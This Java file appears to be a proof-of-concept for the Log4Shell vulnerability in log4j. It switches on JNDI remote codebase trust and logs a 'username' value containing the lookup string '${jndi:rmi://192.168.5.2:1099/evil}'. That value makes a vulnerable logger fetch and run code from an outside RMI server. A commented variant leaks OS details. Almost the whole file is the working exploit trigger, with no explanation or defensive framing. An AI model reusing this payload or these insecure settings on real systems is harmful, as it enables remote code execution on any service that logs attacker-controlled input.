package com.fulu.log4j.rmibug;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class RegistryClient {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        try {
//            Registry registry = LocateRegistry.getRegistry("192.168.5.6", 1099);
//            HelloRegistryFacade hello = (HelloRegistryFacade) registry.lookup("HelloRegistry");
//            String response = hello.helloWorld("ZhenJin");
//            System.out.println("=======> " + response + " <=======");
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
            String username = "${jndi:rmi://192.168.5.2:1099/evil}";
//            String username = "${java:os}";
            logger.info("username {}", username);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}